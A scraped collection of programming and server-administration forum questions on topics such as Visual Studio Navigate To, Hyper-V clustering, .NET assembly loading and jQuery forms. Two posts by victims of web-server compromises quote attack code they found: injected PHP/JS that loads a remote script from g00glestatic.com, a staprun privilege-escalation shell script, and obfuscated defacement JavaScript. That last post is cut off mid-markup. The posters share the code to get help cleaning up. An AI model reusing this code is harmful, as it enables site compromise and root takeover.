http://archive.msdn.microsoft.com/vsx . I've also written a small application to help with switching between development and production MEF assemblies, which you can find on Codeproject: http://www.codeproject.com/KB/miscctrl/MEF_Switch.aspx. The Navigate To interfaces Back to Navigate To, and summarizing the MSDN reference documentation, you need to implement the following interfaces: INavigateToItemProviderFactoryThis is Visual Studio's entry point to your Navigate To implementation, and you must decorate your implementation with the following MEF export attribute: [Export(typeof(INavigateToItemProviderFactory))]  INavigateToItemProvider Your INavigateToItemProviderFactory needs to return your implementation of INavigateToItemProvider. This class implements StartSearch() and StopSearch(). StartSearch() is the guts of your provider, and we'll come back to it in a minute. This object also needs to implement IDisposeable(). INavigateToItemDisplayFactory Your INavigateToItemProvider hands back NavigateToItems to the NavigateTo framework. But to give you good control over what appears in the NavigateTo dialog box, these items will be handed back to your INavigateToItemDisplayFactory, which must create objects implementing INavigateToItemDisplay  INavigateToItemDisplay Each of these objects represents one result in the Navigate To dialog box. As well as providing the description and name of the item, this object also has a NavigateTo() method that should be capable of displaying the item in an editor when invoked. Carrying out the search The lifecycle of your INavigateToItemProvider is the same as that of the Navigate To dialog. This dialog is modal, which makes your implementation a little easier because you know that the user can't be changing things in editors and the IDE while this dialog is up. But the Navigate To dialog DOES NOT run on the main UI thread of the IDE – so you need to be aware of that if you want to interact with editors or other parts of the IDE UI. When the user invokes the Navigate To dialog, your INavigateToItemProvider gets sent a TryCreateNavigateToItemProvider() message. Instantiate your INavigateToItemProvider and hand this back. The sequence diagram below shows what happens next. Your INavigateToItemProvider will get called with StartSearch(), and passed an INavigateToCallback. StartSearch() is an asynchronous request – you must return from this method as soon as possible, and conduct your search on a separate thread. For each match to the search term, instantiate a NavigateToItem object and send it to INavigateToCallback.AddItem(). But as the user types in the Search Terms field, NavigateTo will invoke your StartSearch() method repeatedly with the changing search term. When you receive the next StartSearch() message, you have to abandon your current search, and start a new one. You can't rely on receiving a StopSearch() message every time. Finally, when the Navigate To dialog box is closed by the user, you will get a Dispose() message – that's your cue to abandon any uncompleted searches, and dispose any resources you might be using as part of your search. While you conduct your search invoke INavigateToCallback.ReportProgress() occasionally to provide feedback about how close you are to completing the search. There does not appear to be any particular requirement to how often you invoke ReportProgress(), and you report your progress as the ratio of two integers. In my implementation I report progress in terms of the number of symbols I've searched over the total number of symbols in my dictionary, and send a progress report every 16 symbols. Displaying the Results The Navigate to framework invokes INavigateToItemDisplayProvider.CreateItemDisplay() once for each result you passed to the INavigateToCallback. CreateItemDisplay() is passed the NavigateToItem you handed to the callback, and must return an INavigateToItemDisplay object. NavigateToItem is a sealed class which has a few properties, including the name of the symbol. It also has a Tag property, of type object. This enables you to stash away all the information you will need to create your INavigateToItemDisplay, which must implement an INavigateTo() method to display a symbol in an editor IDE when the user double-clicks an entry in the Navigate To dialog box. Since the tag is of type object, it is up to you, the implementor, to decide what kind of object you store in here, and how it enables the retrieval of other information which is not included in the NavigateToItem properties. Some of the INavigateToItemDisplay properties are self-explanatory, but a couple of them are less obvious: Additional informationThe string you return here is displayed inside brackets on the same line as the Name property. In English locales, Visual Studio includes the preposition "of". If you look at the first line in the Navigate To screenshot at the top of this article, Book_WebRole.Default is the additional information for textBookAuthor, and is the namespace qualified type name the symbol appears in. For procedural COBOL code we display the Program Id as the additional information DescriptionItemsYou can use this property to return any textual description you want about the item currently selected. You return a collection of DescriptionItem objects, each of which has a category and description collection of DescriptionRun objects. A DescriptionRun enables you to specify some text, and optional formatting, so you have some control over the appearance of the displayed text. The DescriptionItems property is displayed at the bottom of the Navigate To dialog box, with the Categories on the left and the Descriptions on the right. The Visual COBOL implementation uses it to display more information about the location of an item, making it easier for the user to know disambiguate duplicate names (something there can be a lot of in large COBOL applications). Summary I hope this article is useful for anyone implementing Navigate To. It is a fantastic navigation feature that Microsoft have added to Visual Studio, but at the moment there still don't seem to be any examples on how to implement it, and the reference information on MSDN is a little brief for anyone attempting an implementation.

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  • Mass targeted malware installed - g00glestatic.com [closed]

    - by Silver89
    Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

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  • Play a sound based on the button pressed on the IPhone/xcode.

    - by slickplaid
    I'm trying to play a sound based on which button is pressed using AVAudioPlayer. (This is not a soundboard or fart app.) I have linked all buttons using this code in the header file: @interface appViewController : UIViewController <AVAudioPlayerDelegate> { AVAudioPlayer *player; UIButton *C4; UIButton *Bb4; UIButton *B4; UIButton *A4; UIButton *Ab4; UIButton *As4; UIButton *G3; UIButton *Gb3; UIButton *Gs3; UIButton *F3; UIButton *Fs3; UIButton *E3; UIButton *Eb3; UIButton *D3; UIButton *Db3; UIButton *Ds3; UIButton *C3; UIButton *Cs3; } @property (nonatomic, retain) AVAudioPlayer *player; @property (nonatomic, retain) IBOutlet UIButton *C4; @property (nonatomic, retain) IBOutlet UIButton *B4; @property (nonatomic, retain) IBOutlet UIButton *Bb4; @property (nonatomic, retain) IBOutlet UIButton *A4; @property (nonatomic, retain) IBOutlet UIButton *Ab4; @property (nonatomic, retain) IBOutlet UIButton *As4; @property (nonatomic, retain) IBOutlet UIButton *G3; @property (nonatomic, retain) IBOutlet UIButton *Gb3; @property (nonatomic, retain) IBOutlet UIButton *Gs3; @property (nonatomic, retain) IBOutlet UIButton *F3; @property (nonatomic, retain) IBOutlet UIButton *Fs3; @property (nonatomic, retain) IBOutlet UIButton *E3; @property (nonatomic, retain) IBOutlet UIButton *Eb3; @property (nonatomic, retain) IBOutlet UIButton *D3; @property (nonatomic, retain) IBOutlet UIButton *Db3; @property (nonatomic, retain) IBOutlet UIButton *Ds3; @property (nonatomic, retain) IBOutlet UIButton *C3; @property (nonatomic, retain) IBOutlet UIButton *Cs3; - (IBAction) playNote; @end Buttons are all linked to the event "playNote" in interfaceBuilder and each note is linked to the proper referencing outlet according to note name. All *.mp3 sound files are named after the UIButton name (IE- C3 == C3.mp3). In my implementation file, I have this to play a only one note when the C3 button is pressed: #import "sonicfitViewController.h" @implementation appViewController @synthesize C3, Cs3, D3, Ds3, Db3, E3, Eb3, F3, Fs3, G3, Gs3, A4, Ab4, As4, B4, Bb4, C4; // Implement viewDidLoad to do additional setup after loading the view, typically from a nib. - (void)viewDidLoad { NSString *path = [[NSBundle mainBundle] pathForResource:@"3C" ofType:@"mp3"]; NSLog(@"path: %@", path); NSURL *file = [[NSURL alloc] initFileURLWithPath:path]; AVAudioPlayer *p = [[AVAudioPlayer alloc] initWithContentsOfURL:file error:nil]; [file release]; self.player = p; [p release]; [player prepareToPlay]; [player setDelegate:self]; [super viewDidLoad]; } - (IBAction) playNote { [self.player play]; } Now, with the above I have two issues: First, the NSLog reports NULL and crashes when trying to play the file. I have added the mp3's to the resources folder and they have been copied and not just linked. They are not in an subfolder under the resources folder. Secondly, how can I set it up so that when say button C3 is pressed, it plays C3.mp3 and F3 plays F3.mp3 without writing duplicate lines of code for each different button? playNote should be like NSString *path = [[NSBundle mainBundle] pathForResource:nameOfButton ofType:@"mp3"]; instead of defining it specifically (@"C3"). Is there a better way of doing this and why does the *path report NULL and crash when I load the app? I'm pretty sure it's something as simple as adding additional variable inputs to - (IBAction) playNote:buttonName and putting all the code to call AVAudioPlayer in the playNote function but I'm unsure of the code to do this.

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  • Hyper-V File Server Clustering - at my wit’s end

    - by René Kåbis
    I am at my wit’s end with File Server clustering under Hyper-V. I am hoping that someone might be able to help me figure out this Gordian Knot of a technology that seems to have dead ends (like forcing cluster VMs to use iSCSI drives where normally-attached VHDX drives could suffice) where logic and reason would normally provide a logical solution. My hardware: I will be running three servers (in the end), but right now everything is taking place on one server. One of the secondary servers will exist purely as a witness/quorum, and another slightly more powerful one will be acting as an emergency backup (with additional storage, just not redundant) to hold the secondary AD VM and the other halves of a set of clustered VMs: the SQL VM and the file system VM. Please note, these each are the depreciated nodes of a cluster, the main nodes will be on the most powerful first machine. My heavy lifter is a machine that also contains all of the truly redundant storage on the network. If this gives anyone the heebie-geebies, too bad. It has a 6TB (usable) RAID-10 array, and will (in the end) hold the primary nodes of both aforementioned clusters, but is right now holding all VMs. This is, right now: DC01, DC02, SQL01, SQL02, FS01 & FS02. Eventually, I will be adding additional VMs to handle Exchange, Sharepoint and Lync, but only to this main server (the secondary server won't be able to handle more than three or four VMs, so why burden it? The AD, SQL & FS VMs are the most critical for the business). If anyone is now saying, “wait, what about a SAN or a NAS for the file servers?”, well too bad. What exists on the main machine is what I have to deal with. I followed these instructions, but I seem to be unable to get things to work. In order to make the file server truly redundant, I cannot trust any one machine to hold the only data store on the network. Therefore, I have created a set of iSCSI drives on the VM-host of the main machine, and attached one to each file server VM. The end result is that I want my FS01 to sit on the heavy lifter, along with its iSCSI “drive”, and FS02 will sit on the secondary machine with its own iSCSI “drive” there as well. That is, neither iSCSI drive will end up sitting on the same machine as the other. As such, the clustered FS will utterly duplicate the contents of the iSCSI drives between each other, so that if one physical machine (or the FS VM) goes toes-up, the other has got a full copy of the data on its own iSCSI drive. My problem occurs when I try to apply the file server role within the failover cluster manager. Actually, it is even before that -- it occurs when adding the disks. Since I have added each disk preferentially to a specific VM (by limiting the initiator by DNS hostname, and by adding two-way CHAP authentication), this forces each VM to be in control of its own iSCSI disk. However, when I try to add the disks to the Disks section of Storage within Failover Cluster Manager, the entire process fails for a random disk of the pair. That is, one will get online, but the other will remain offline because it does not have the correct “owner node”. I mean, really -- WTF? Of course it doesn’t have the right owner node, both drives are showing the same node name!! I cannot seem to have one drive show up with one node name as owner, and the other drive show up with the other node name as owner. And because both drives are not “online”, I cannot create a pool to apply to a cluster role. Talk about getting stuck between a rock and a hard place! I’ve got more to add, but my work is closing for the day and I have to wrap things up. I will try to add more tomorrow morning when I get in. My main objective is to have a file server VM on each machine, the storage on each machine, but a transparent failover in case one physical machine fails. Essentially, a failover FS that doesn’t care which machine fails -- the storage contents are replicated equally on each machine. Am I even heading in the right direction?

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  • How to pre-load all deployed assemblies for an AppDomain

    - by Andras Zoltan
    Given an App Domain, there are many different locations that Fusion (the .Net assembly loader) will probe for a given assembly. Obviously, we take this functionality for granted and, since the probing appears to be embedded within the .Net runtime (Assembly._nLoad internal method seems to be the entry-point when Reflect-Loading - and I assume that implicit loading is probably covered by the same underlying algorithm), as developers we don't seem to be able to gain access to those search paths. My problem is that I have a component that does a lot of dynamic type resolution, and which needs to be able to ensure that all user-deployed assemblies for a given AppDomain are pre-loaded before it starts its work. Yes, it slows down startup - but the benefits we get from this component totally outweight this. The basic loading algorithm I've already written is as follows. It deep-scans a set of folders for any .dll (.exes are being excluded at the moment), and uses Assembly.LoadFrom to load the dll if it's AssemblyName cannot be found in the set of assemblies already loaded into the AppDomain (this is implemented inefficiently, but it can be optimized later): void PreLoad(IEnumerable<string> paths) { foreach(path p in paths) { PreLoad(p); } } void PreLoad(string p) { //all try/catch blocks are elided for brevity string[] files = null; files = Directory.GetFiles(p, "*.dll", SearchOption.AllDirectories); AssemblyName a = null; foreach (var s in files) { a = AssemblyName.GetAssemblyName(s); if (!AppDomain.CurrentDomain.GetAssemblies().Any( assembly => AssemblyName.ReferenceMatchesDefinition( assembly.GetName(), a))) Assembly.LoadFrom(s); } } LoadFrom is used because I've found that using Load() can lead to duplicate assemblies being loaded by Fusion if, when it probes for it, it doesn't find one loaded from where it expects to find it. So, with this in place, all I now have to do is to get a list in precedence order (highest to lowest) of the search paths that Fusion is going to be using when it searches for an assembly. Then I can simply iterate through them. The GAC is irrelevant for this, and I'm not interested in any environment-driven fixed paths that Fusion might use - only those paths that can be gleaned from the AppDomain which contain assemblies expressly deployed for the app. My first iteration of this simply used AppDomain.BaseDirectory. This works for services, form apps and console apps. It doesn't work for an Asp.Net website, however, since there are at least two main locations - the AppDomain.DynamicDirectory (where Asp.Net places it's dynamically generated page classes and any assemblies that the Aspx page code references), and then the site's Bin folder - which can be discovered from the AppDomain.SetupInformation.PrivateBinPath property. So I now have working code for the most basic types of apps now (Sql Server-hosted AppDomains are another story since the filesystem is virtualised) - but I came across an interesting issue a couple of days ago where this code simply doesn't work: the nUnit test runner. This uses both Shadow Copying (so my algorithm would need to be discovering and loading them from the shadow-copy drop folder, not from the bin folder) and it sets up the PrivateBinPath as being relative to the base directory. And of course there are loads of other hosting scenarios that I probably haven't considered; but which must be valid because otherwise Fusion would choke on loading the assemblies. I want to stop feeling around and introducing hack upon hack to accommodate these new scenarios as they crop up - what I want is, given an AppDomain and its setup information, the ability to produce this list of Folders that I should scan in order to pick up all the DLLs that are going to be loaded; regardless of how the AppDomain is setup. If Fusion can see them as all the same, then so should my code. Of course, I might have to alter the algorithm if .Net changes its internals - that's just a cross I'll have to bear. Equally, I'm happy to consider SQL Server and any other similar environments as edge-cases that remain unsupported for now. Any ideas!?

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  • Extending XHTML

    - by Daniel Schaffer
    I'm playing around with writing a jQuery plugin that uses an attribute to define form validation behavior (yes, I'm aware there's already a validation plugin; this is as much a learning exercise as something I'll be using). Ideally, I'd like to have something like this: Example 1 - input: <input id="name" type="text" v:onvalidate="return this.value.length > 0;" /> Example 2 - wrapper: <div v:onvalidate="return $(this).find('[value]').length > 0;"> <input id="field1" type="text" /> <input id="field2" type="text" /> <input id="field3" type="text" /> </div> Example 3 - predefined: <input id="name" type="text" v:validation="not empty" /> The goal here is to allow my jQuery code to figure out which elements need to be validated (this is already done) and still have the markup be valid XHTML, which is what I'm having a problem with. I'm fairly sure this will require a combination of both DTD and XML Schema, but I'm not really quite sure how exactly to execute. Based on this article, I've created the following DTD: <!ENTITY % XHTML1-formvalidation1 PUBLIC "-//W3C//DTD XHTML 1.1 +FormValidation 1.0//EN" "http://new.dandoes.net/DTD/FormValidation1.dtd" > %XHTML1-formvalidation1; <!ENTITY % Inlspecial.extra "%div.qname; " > <!ENTITY % xhmtl-model.mod SYSTEM "formvalidation-model-1.mod" > <!ENTITY % xhtml11.dtd PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > %xhtml11.dtd; And here is "formvalidation-model-1": <!ATTLIST %div.qname; %onvalidation CDATA #IMPLIED %XHTML1-formvalidation1.xmlns.extra.attrib; > I've never done DTD before, so I'm not even really exactly sure what I'm doing. When I run my page through the W3 XHTML validator, I get 80+ errors because it's getting duplicate definitions of all the XHTML elements. Am I at least on the right track? Any suggestions? EDIT: I removed this section from my custom DTD, because it turned out that it was actually self-referencing, and the code I got the template from was really for combining two DTDs into one, not appending specific items to one: <!ENTITY % XHTML1-formvalidation1 PUBLIC "-//W3C//DTD XHTML 1.1 +FormValidation 1.0//EN" "http://new.dandoes.net/DTD/FormValidation1.dtd" > %XHTML1-formvalidation1; I also removed this, because it wasn't validating, and didn't seem to be doing anything: <!ENTITY % Inlspecial.extra "%div.qname; " > Additionally, I decided that since I'm only adding a handful of additional items, the separate files model recommended by W3 doesn't really seem that helpful, so I've put everything into the dtd file, the content of which is now this: <!ATTLIST div onvalidate CDATA #IMPLIED> <!ENTITY % xhtml11.dtd PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > %xhtml11.dtd; So now, I'm not getting any DTD-related validation errors, but the onvalidate attribute still is not valid. Update: I've ditched the DTD and added a schema: http://schema.dandoes.net/FormValidation/1.0.xsd Using v:onvalidate appears to validate in Visual Studio, but the W3C service still doesn't like it. Here's a page where I'm using it so you can look at the source: http://new.dandoes.net/auth And here's the link to the w3c validation result: http://validator.w3.org/check?uri=http://new.dandoes.net/auth&charset=(detect+automatically)&doctype=Inline&group=0 Is this about as close as I'll be able to get with this, or am I still doing something wrong?

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  • Where to Store the Protection Trial Info for Software Protection Purpose

    - by Peter Lee
    It might be duplicate with other questions, but I swear that I googled a lot and search at StackOverflow.com a lot, and I cannot find the answer to my question: In a C#.Net application, where to store the protection trial info, such as Expiration Date, Number of Used Times? I understand that, all kinds of Software Protection strategies can be cracked by a sophiscated hacker (because they can almost always get around the expiration checking step). But what I'm now going to do is just to protect it in a reasonable manner that a "common"/"advanced" user cannot screw it up. OK, in order to proof that I have googled and searched a lot at StackOverflow.com, I'm listing all the possible strategies I got: 1. Registry Entry First, some users might not have the access to even read the Registry table. Second, if we put the Protection Trial Info in a Registry Entry, the user can always find it out where it is by comparing the differences before and after the software installation. They can just simply change it. OK, you might say that we should encrypt the Protection Trial Info, yes we can do that. But what if the user just change their system date before installing? OK, you might say that we should also put a last-used date, if something is wrong, the last-used date could work as a protection guide. But what if the user just uninstall the software and delete all Registry Entries related to this software, and then reinstall the software? I have no idea on how to deal with this. Please help. A Plain File First, there are some places to put the plain file: 2.a) a simple XML file under software installation path 2.b) configuration file Again, the user can just uninstall the software and remove these plain file(s), and reinstall the software. - The Software Itself If we put the protection trial info (Expiration Date, we cannot put Number of Used Times) in the software itself, it is still susceptible to the cases I mentioned above. Furthermore, it's not even cool to do so. - A Trial Product-Key It works like a licensing process, that is, we put the Trial info into an RSA-signed string. However, it requires too many steps for a user to have a try of using the software (they might lose patience): 4.a) The user downloads the software; 4.b) The user sends an email to request a Trial Product-Key by providing user name (or email) or hardware info; 4.c) The server receives the request, RSA-signs it and send back to the user; 4.d) The user can now use it under the condition of (Expiration Date & Number of Used Times). Now, the server has a record of the user's username or hardware info, so the user will be rejected to request a second trial. Is it legal to collection hardware info? In a word, the user has to do one more extra step (request a Trial Product Key) just for having a try of using the software, which is not cool (thinking myself as a user). NOTE: This question is not about the Licensing, instead, it's about where to store the TRIAL info. After the trial expires, the user should ask for a license (CD-Key/Product-Key). I'm going to use RSA signature (bound to User Hardware)

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  • Mobile App Data Syncronization

    - by Matt Rogish
    Let's say I have a mobile app that uses HTML5 SQLite DB (and/or the HTML5 key-value store). Assets (media files, PDFs, etc.) are stored locally on the mobile device. Luckily enough, the mobile device is a read-only copy of the "centralized" storage, so the mobile device won't have to propagate changes upstream. However, as the server changes assets (creates new ones, modifies existing, deletes old ones) I need to propagate those changes back to the mobile app. Assume that server changes are grouped into changesets (version number n) that contain some information (added element XYZ, deleted id = 45, etc.) and that the mobile device has limited CPU/bandwidth, so most of the processing has to take place on the server. I can think of a couple of methods to do this. All have trade-offs and at this point, I'm unsure which is the right course of action... Method 1: For change set n, store the "diff" of the current n and previous n-1. When a client with version y asks if there have been any changes, send the change sets from version y up to the current version. e.g. added item 334, contents: xxx. Deleted picture 44. Deleted PDF 11. Changed 33. added picture 99. Characteristics: Diffs take up space, although in theory would be kept small. However, all diffs must be kept around indefinitely (should a v1 app have not been updated for a year, must apply v2..v100). High latency devices (mobile apps) will incur a penalty to send lots of small files (assume cannot be zipped or tarr'd up into one file) Very few server CPU resources required, as all it does is send the client a list of files "Dumb" - if I change an item in change set 3, and change it to something else in 4, the client is going to perform both actions, even though #3 is rendered moot by #4. Or, if an asset is added in #4 and removed in #5 - the client will download a file just to delete it later. Method 2: Very similar to method 1 except on the server, do some sort of a diff between the change sets represented by the app version and server version. Package that up and send that single change set to the client. Characteristics: Client-efficient: The client only has to process one file, duplicate or irrelevant changes are stripped out. Server CPU/space intensive. The change sets must be diff'd and then written out to a file that is then sent to the client. Makes diff server scalability an issue. Possibly ways to cache the results and re-use them, but in the wild there's likely to be a lot of different versions so the diff re-use has a limit Diff algorithm is complicated. The change sets must be structured in such a way that an efficient and effective diff can be performed. Method 3: Instead of keeping diffs, write out the entire versioned asset collection to a mobile-database import file. When client requests an update, send the entire database to client and have them update their assets appropriately. Characteristics: Conceptually simple -- easy to develop and deploy Very inefficient as the client database is restored every update. If only one new thing was added, the whole database is refreshed. Server space and CPU efficient. Only the latest version DB needs kept around and the server just throws the file to the client. Others?? Thoughts? Thanks!!

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  • How to use JQuery to set the value of 2 html form select elements depending on the value of another

    - by Chris Stevenson
    My Javascript and JQuery skills are poor at best and this is ** I have the following three elements in a form : <select name="event_time_start_hours"> <option value="blank" disabled="disabled">Hours</option> <option value="blank" disabled="disabled">&nbsp;</option> <option value="01">1</option> <option value="02">2</option> <option value="03">3</option> <option value="04">4</option> <option value="05">5</option> <option value="06">6</option> <option value="07">7</option> <option value="08">8</option> <option value="09">9</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> <option value="midnight">Midnight</option> <option value="midday">Midday</option> </select> <select name="event_time_start_minutes"> <option value="blank" disabled="disabled">Minutes</option> <option value="blank" disabled="disabled">&nbsp;</option> <option value="00">00</option> <option value="15">15</option> <option value="30">30</option> <option value="45">45</option> </select> <select name="event_time_start_ampm"> <option value="blank" disabled="disabled">AM / PM</option> <option value="blank" disabled="disabled">&nbsp;</option> <option value="am">AM</option> <option value="pm">PM</option> </select> Quite simply, when either 'midnight' or 'midday' is selected in "event_time_start_hours", I want the values of "event_time_start_minutes" and "event_time_start_ampm" to change to "00" and "am" respectively. My VERY poor piece of Javascript says this so far : $(document).ready(function() { $('#event_time_start_hours').change(function() { if($('#event_time_start_hours').val('midnight')) { $('#event_time_start_minutes').val('00'); } }); }); ... and whilst I'm not terribly surprised it doesn't work, I'm at a loss as to what to do next. I want to do this purely for visual reasons for the user as when the form submits I ignore the "minutes" and "am/pm". I'm trying to decide whether it would be best to change the selected values, change the selected values and then disable the element or hide them altogether. However, without any success in getting anything to happen at all I haven't been able to try the different approaches to see what feels right. I've ruled out the obvious things like a duplicate element ID or simply not linking to JQuery. Thank you.

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  • My webserver just got hacked [closed]

    - by billmalarky
    Possible Duplicate: My server's been hacked EMERGENCY My web server just got hacked. It was on a vps so I think it was hacked through another site. When I loaded the homepage it looks like it ran some script. Can anyone tell me if this script is malicious and if I just got screwed by my own website? `<script>var _0x8ae2=["\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6E\x65\x2D\x68\x2E\x6F\x72\x67\x2F\x61\x72\x63\x68\x69\x76\x65\x2F\x6E\x6F\x74\x69\x66\x69\x65\x72\x3D\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45","\x6F\x70\x65\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6E\x65\x2D\x68\x2E\x6F\x72\x67\x2F\x61\x72\x63\x68\x69\x76\x65\x2F\x6E\x6F\x74\x69\x66\x69\x65\x72\x3D\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45\x2F\x73\x70\x65\x63\x69\x61\x6C\x3D\x31","\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x6D\x67\x74\x66\x79\x2E\x63\x6F\x6D\x2F\x3F\x71\x3D\x48\x61\x63\x6B\x65\x64\x20\x62\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45","\x73\x63\x72\x6F\x6C\x6C\x42\x79","\x74\x69\x74\x6C\x65","\x48\x61\x63\x6B\x65\x44\x20\x42\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x40\x54\x45","\x6F\x6E\x6B\x65\x79\x64\x6F\x77\x6E","\x72\x65\x73\x69\x7A\x65\x54\x6F","\x6D\x6F\x76\x65\x54\x6F","\x6D\x6F\x76\x65\x28\x29","\x72\x6F\x75\x6E\x64","\x66\x67\x43\x6F\x6C\x6F\x72","\x62\x67\x43\x6F\x6C\x6F\x72","\x4C\x4F\x4C","\x61\x76\x61\x69\x6C\x57\x69\x64\x74\x68","\x61\x76\x61\x69\x6C\x48\x65\x69\x67\x68\x74"];function details(){window[_0x8ae2[1]](_0x8ae2[0]);window[_0x8ae2[1]](_0x8ae2[2]);window[_0x8ae2[1]](_0x8ae2[3]);} ;window[_0x8ae2[4]](0,1);if(document[_0x8ae2[5]]==_0x8ae2[6]){function keypressed(){return false;} ;document[_0x8ae2[7]]=keypressed;window[_0x8ae2[8]](0,0);window[_0x8ae2[9]](0,0);setTimeout(_0x8ae2[10],2);var mxm=50;var mym=25;var mx=0;var my=0;var sv=50;var status=1;var szx=0;var szy=0;var c=255;var n=0;var sm=30;var cycle=2;var done=2;function move(){if(status==1){mxm=mxm/1.05;mym=mym/1.05;mx=mx+mxm;my=my-mym;mxm=mxm+(400-mx)/100;mym=mym-(300-my)/100;window[_0x8ae2[9]](mx,my);rmxm=Math[_0x8ae2[11]](mxm/10);rmym=Math[_0x8ae2[11]](mym/10);if(rmxm==0){if(rmym==0){status=2;} ;} ;} ;if(status==2){sv=sv/1.1;scrratio=1+1/3;mx=mx-sv*scrratio/2;my=my-sv/2;szx=szx+sv*scrratio;szy=szy+sv;window[_0x8ae2[9]](mx,my);window[_0x8ae2[8]](szx,szy);if(sv<0.1){status=3;} ;} ;if(status==3){document[_0x8ae2[12]]=0xffffFF;c=c-16;if(c<0){status=8;} ;} ;if(status==4){c=c+16;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c>239){status=5;} ;} ;if(status==5){c=c-16;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c<0){status=6;cycle=cycle-1;if(cycle>0){if(done==1){status=7;} else {status=4;} ;} ;} ;} ;if(status==6){document[_0x8ae2[5]]=_0x8ae2[14];alert(_0x8ae2[14]);cycle=2;status=4;done=1;} ;if(status==7){c=c+4;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c>128){status=8;} ;} ;if(status==8){window[_0x8ae2[9]](0,0);sx=screen[_0x8ae2[15]];sy=screen[_0x8ae2[16]];window[_0x8ae2[8]](sx,sy);status=9;} ;var _0xceebx11=setTimeout(_0x8ae2[10],0.3);} ;} ;</script><body bgcolor="#000000" oncontextmenu="return false;"><p align="center"><span style="font-weight: 700;"><font face="Tahoma" size="5" color="#EEEEEE"><i>Server HackeD<br/><br/>By</i> </font><br/><br/><a href="#" class="name"><script>if (navigator.appName == 'Microsoft Internet Explorer'){document.write('<font face="Arial Black" size="5" color="#FF0000">');}else{document.write('<font face="Arial Black" size="5" color="black" style="text-shadow:#FFFFFF 2px 2px 